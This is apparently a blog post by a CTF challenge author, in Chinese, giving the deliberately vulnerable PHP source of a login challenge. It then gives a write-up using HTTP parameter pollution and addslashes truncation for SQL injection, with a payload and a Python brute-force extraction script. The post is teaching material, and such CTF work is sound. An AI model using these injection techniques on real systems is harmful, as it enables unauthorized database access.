前言
網絡攻防基礎課要求出一個CTF
的題目,上週就出完了,一直都沒寫。想想還是要把我出的每道題都記錄一下的。
參考
Day13
的講題和留的題目,有兩個知識點
2. 在使用了addslashes()
函數之後,又截取了子串,這很可能會導致截取之後的子串將轉義後的單引號\'
給分開,這樣轉義的作用也就沒有了,可以被攻擊者用來繞過轉義。
3. HTTP
參數污染。算是一個很小的知識點吧。hacker
想法就是獨特,總是不按規定的路子走。
出題
題目包含兩個重要文件index.php login.php
,這兩個文件中實現的代碼的設定是:用戶提交的參數在index.php
中已經被過濾好了,傳遞到login.php
的參數一定是合法的。在index.php
對輸入參數檢查了是否含有sql
的關鍵字,過濾了非常多,無法繞過,而login.php
中只對取到的參數進行了轉義,並且對轉義之後的字符串進行了轉義。
問題在於index.php
中取用戶參數是通過$_SERVER['REQUEST_URI']
取的,login.php
是通過$_GET
取的,這兩者的差異造成HTTP
參數污染。
//index.php
<?php
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if(isset($request_uri[1]))
{
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$temp = $_value[0];
$$temp = $_value[1];
}
}
}
if(!isset($user_name) || !isset($pass_word) || !isset($request_uri[1]))
{
die("");
}
echo "<script>document.getElementsByClassName('btn_login')[0].click();</script>";
if(!waf($user_name) || !waf($pass_word))
{
echo "<script>document.getElementById('nm_iframe').contentWindow.document.body.innerHTML='Be a cute boy~ Plz :-D';</script>";
die("");
}
else if(waf($user_name) && waf($pass_word))
{
$result = file_get_contents("http://127.0.0.1/6954c9b2887c1f177fb8b8ef9a30dfdd.php?".$request_uri[1]."");
echo "<script>document.getElementById('nm_iframe').contentWindow.document.body.innerHTML='" . $result . "';</script>";
}
function waf($string)
{
if(preg_match("/^information|union select|,|select|ascii|#|union|\*|%|flag|exp|benmark|sleep|or|as|if|limit|database|substr|mid|hex|char|version/i", $string, $matches))
return 0;
return 1; // means no hack
}
?>
//login.php
<?php
$username = addslashes($_GET['user_name']);
$password = addslashes($_GET['pass_word']);
if(strlen($username) > 10)
{
echo "Anything more than ten characters in the username is ignored.</br>";
$username = substr($username, 0, 10);
}
$conn = mysqli_connect('mysql', 'class', 'xxx', 'class');
if(!$conn)
{
echo '</br><span style="color:#444">' . mysqli_connect_error() . '</span></br>';
}
$result = mysqli_query($conn, "select * from user where username='" . $username . "' and password='" . $password . "'");
if($result == FALSE)
{
mysqli_close($conn);
die("Sql error!</br>");
}
/*
$count = 0;
while($row = mysqli_fetch_array($result, MYSQLI_NUM))
{
$count = $count + 1;
}
*/
mysqli_close($conn);
echo "Error username or password!</br>";
?>
題目的代碼就是上面兩個。在實際部署題目時,將login.php
改爲了一個用戶無法猜測的文件名(要不然直接訪問login.php
,參數任何過濾,那就涼涼了)。提供了.index.php.swp
和.login.php.swp
,可以恢復源碼。
WriteUp
題目通過.index.php.swp
和.login.php.swp
拿到源碼
拿到版本源碼不是最終版本。直接訪問login.php
是沒有該文件的,最終版本里的login.php
被命名爲一個不可猜測到的文件名。無法直接訪問到。
題目實現的邏輯是:輸入用戶名和密碼,後臺數據庫查詢。從源碼審計知道,服務器端代碼是沒有用戶名/密碼驗證通過的選項的。即,沒有正確的用戶名密碼。只能通過sql
注入來從數據庫中拿到flag
。
index.php
中關鍵代碼爲其中的waf
函數,過濾掉了所有可能被用到的sql
語句關鍵詞。另外還知道,經過過濾後的get
參數被傳給另外一個文件login.php
。
login.php
文件對傳入的get
參數做了addslashes
的處理,進一步防止sql
注入。因爲默認傳遞過來的參數已經經過了過濾,所以沒有再做其他防護。而且規定用戶名長度不能超過10,超出部分會被截斷,直接忽略。
這也是爲什麼在實際部署時把login.php
命名爲不能猜測到的文件名。
漏洞點
- 通過
php
的一個特性:php
自身在解析請求的時候,如果參數名字中包含空格、.
、[
這幾個字符,會將他們轉換成_
。但是通過$_SERVER['REQUEST_URI']
來得到query
參數時候是不存在這樣的問題的。而index.php
過濾是通過$_SERVER['REQUEST_URI']
來過濾的,login.php
是通過$_GET
直接來獲取query
參數的。 - 用戶名超出十個字符之後的部分會被截斷,但是判斷十個字符是在
addslashes()
函數之後,導致漏洞點。存在123456789'
被轉義後變爲123456789\'
,截斷之後變爲123456789\
的情況,\
就可以被用來轉義sql
語句中本來的單引號。
payload
?user_name=fda&pass_word=dfasf&user[name=123456789%27&pass[word=or%20(if((ascii(substr(database(),1))=114),1,exp(710)))%23
這樣,在index.php
過濾時,過濾的是user_name
和pass_word
字段,可以隨便輸入合法值繞過過濾。
而login.php
實際接收到的user_name
和pass_word
值爲user[name
和pass[word
的值,是沒有任何限制的。
實際執行的sql
語句是:
select * from user where username='123456789\' and password='or (if((ascii(substr(database(),1))=114),1,exp(710)))#'
通過報錯注入,判斷不同的頁面返回,來猜測後臺語句執行結果,從而查詢到flag
字段的值。(flag
是flag
表的flag
字段值)
exp
如下:
import requests
url = "http://39.108.217.190:8082/index.php?user_name=1&pass_word=2&user[name=123456789'&pass[word=or(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),1,exp(710)))%%23"
def get_flag():
result = ""
for i in range(1, 50):
flag = 0
for j in range(32, 127):
re = requests.get(url % (i, j))
if(len(re.text) == 2461): # 需要修改具體數字
flag = 1
result = result + chr(j)
print(result)
break
if(flag == 0):
break
print(result)
if __name__ == "__main__":
get_flag()
最後
簡單記錄。😶如果需要docker
的話…